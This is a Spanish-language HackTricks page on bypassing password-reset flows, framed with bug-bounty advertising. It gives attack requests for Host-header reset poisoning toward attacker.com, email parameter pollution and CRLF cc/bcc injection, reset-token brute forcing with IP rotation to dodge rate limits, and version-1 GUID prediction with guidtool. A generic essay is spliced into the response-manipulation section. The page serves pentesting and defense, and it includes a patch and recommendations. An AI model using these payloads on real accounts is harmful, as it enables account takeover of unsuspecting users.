hacktricks/pentesting-web/reset-password.md

18 KiB

Bypass de Restablecimiento/Olvido de Contraseña

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Las siguientes técnicas de recompilación se tomaron de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Fuga de Token de Restablecimiento de Contraseña a través del Referente

El referente HTTP es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se solicita. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.

Explotación

  • Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
  • Haz clic en el enlace de restablecimiento de contraseña
  • No cambies la contraseña
  • Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
  • Intercepta la solicitud en el proxy de Burp Suite
  • Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.

Impacto

Permite a la persona que tiene el control de un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.

Referencia:

Envenenamiento de Restablecimiento de Contraseña

¡Si encuentras un ataque de encabezado de host y está fuera del alcance, intenta encontrar el botón de restablecimiento de contraseña!

Explotación

  • Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
  • Agrega el siguiente encabezado o edita el encabezado en Burp Suite (prueba uno por uno)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Verificar si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com

Parche

Usar $_SERVER['SERVER_NAME'] en lugar de $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impacto

La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic en él, filtrará el enlace / token de restablecimiento de contraseña del usuario al atacante, lo que resultará en la toma completa de la cuenta.

Referencia:

Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico

Explotación

  • Agregar el correo electrónico del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Agrega el correo electrónico del atacante como segundo parámetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar el correo electrónico del atacante como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Agrega el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Referencia

Cambiar el correo electrónico y la contraseña de cualquier usuario a través de los parámetros de la API

Explotación

  • El atacante debe iniciar sesión con su cuenta e ir a la función de cambio de contraseña
  • Iniciar Burp Suite y interceptar la solicitud
  • Después de interceptar la solicitud, enviarla al repetidor y modificar los parámetros de correo electrónico y contraseña
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Referencia

Sin límite de velocidad: bombardeo de correos electrónicos

Explotación

  • Inicie Burp Suite e intercepte la solicitud de restablecimiento de contraseña
  • Envíelo a Intruder
  • Use una carga útil nula

Referencia

Descubra cómo se genera el token de restablecimiento de contraseña

Descubra el patrón del token de restablecimiento de contraseña

Si se

  • Genera en función de la marca de tiempo
  • Genera en función del ID de usuario
  • Genera en función del correo electrónico del usuario
  • Genera en función del nombre y apellido
  • Genera en función de la fecha de nacimiento
  • Genera en función de la criptografía

Use Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.

GUID adivinable

Existen diferentes tipos de GUID:

  • Versión 0: Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
  • Versión 1: El GUID se genera de manera predecible en función de:
  • La hora actual
  • Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUID durante el tiempo de actividad del sistema generador
  • Un "ID de nodo", que se genera en función de la dirección MAC del sistema si está disponible
  • Versión 3: El GUID se genera utilizando un hash MD5 de un nombre y un espacio de nombres proporcionados.
  • Versión 4: El GUID se genera de forma aleatoria.
  • Versión 5: El GUID se genera utilizando un hash SHA1 de un nombre y un espacio de nombres proporcionados.

Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Si se utiliza la versión 1 para generar un GUID de restablecimiento de contraseña, es posible realizar un ataque de fuerza bruta a los GUIDs:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Referencias

Manipulación de respuesta: Reemplazar una respuesta incorrecta por una correcta

Busque solicitudes y respuestas como estas

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Restablecimiento de contraseña

Cuando se realiza una prueba de penetración en una aplicación web, una de las áreas clave a evaluar es el proceso de restablecimiento de contraseña. Este proceso es crítico ya que, si se implementa de manera incorrecta, puede permitir a un atacante obtener acceso no autorizado a la cuenta de un usuario.

Identificación de debilidades

Durante la fase de identificación de debilidades, es importante buscar posibles vulnerabilidades en el proceso de restablecimiento de contraseña. Algunas de las áreas comunes a evaluar incluyen:

  1. Fuerza bruta: Verificar si existe alguna protección contra ataques de fuerza bruta en el formulario de restablecimiento de contraseña. Esto implica intentar adivinar múltiples contraseñas hasta encontrar la correcta.

  2. Preguntas de seguridad débiles: Revisar si las preguntas de seguridad utilizadas para restablecer la contraseña son fáciles de adivinar o están disponibles públicamente.

  3. Enlaces de restablecimiento de contraseña: Verificar si los enlaces de restablecimiento de contraseña son predecibles o si contienen información sensible en la URL.

  4. Exposición de información sensible: Comprobar si se muestra información sensible, como el nombre de usuario o la dirección de correo electrónico, durante el proceso de restablecimiento de contraseña.

Explotación de vulnerabilidades

Una vez identificadas las posibles vulnerabilidades, se procede a la fase de explotación. Algunas técnicas comunes utilizadas durante esta fase incluyen:

  1. Ataques de fuerza bruta: Intentar adivinar la contraseña utilizando un programa automatizado que pruebe múltiples combinaciones hasta encontrar la correcta.

  2. Suplantación de identidad: Hacerse pasar por el usuario legítimo y solicitar el restablecimiento de contraseña en su nombre.

  3. Manipulación de URL: Modificar los enlaces de restablecimiento de contraseña para obtener acceso no autorizado a la cuenta del usuario.

  4. Explotación de preguntas de seguridad débiles: Adivinar las respuestas a las preguntas de seguridad utilizando información pública o técnicas de ingeniería social.

Recomendaciones de seguridad

Para proteger el proceso de restablecimiento de contraseña, se recomienda seguir las siguientes prácticas de seguridad:

  1. Implementar protección contra ataques de fuerza bruta: Limitar el número de intentos de restablecimiento de contraseña y bloquear temporalmente las cuentas después de varios intentos fallidos.

  2. Utilizar preguntas de seguridad fuertes: Utilizar preguntas de seguridad que no sean fáciles de adivinar y que solo el usuario legítimo pueda responder.

  3. Generar enlaces de restablecimiento de contraseña seguros: Utilizar tokens aleatorios y únicos en los enlaces de restablecimiento de contraseña para evitar la predicción o manipulación de los mismos.

  4. Evitar la exposición de información sensible: No mostrar información sensible durante el proceso de restablecimiento de contraseña, como el nombre de usuario o la dirección de correo electrónico.

Al seguir estas recomendaciones, se puede fortalecer la seguridad del proceso de restablecimiento de contraseña y proteger la privacidad de los usuarios.

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Referencia

Usando un Token Expirado

  • Verificar si el token expirado puede ser reutilizado

Fuerza Bruta en el Token de Restablecimiento de Contraseña

Intentar realizar un ataque de fuerza bruta en el token de restablecimiento utilizando Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • Utiliza IP-Rotator en burpsuite para evadir el límite de velocidad basado en IP.

Referencia

Intenta Usar Tu Token

  • Intenta agregar tu token de restablecimiento de contraseña junto con la cuenta de la víctima.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Referencia

Invalidación de sesión en Cierre de sesión/Restablecimiento de contraseña

Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe ser invalidada.
Por lo tanto, captura las cookies mientras el usuario está conectado, cierra sesión y verifica si las cookies siguen siendo válidas.
Repite el proceso cambiando la contraseña en lugar de cerrar sesión.

Tiempo de expiración del token de restablecimiento

Los tokens de restablecimiento deben tener un tiempo de expiración, después de eso el token no debería ser válido para cambiar la contraseña de un usuario.

Verificaciones adicionales

  • Utiliza username@burp_collab.net y analiza la devolución de llamada
  • Usuario con copia oculta de correo electrónico=victim@mail.com%0a%0dcc:hacker@mail.com
  • Contraseña larga (>200) provoca una denegación de servicio (DoS)
  • Agrega un segundo parámetro y valor de correo electrónico

HackenProof es el hogar de todas las recompensas por errores de cifrado.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥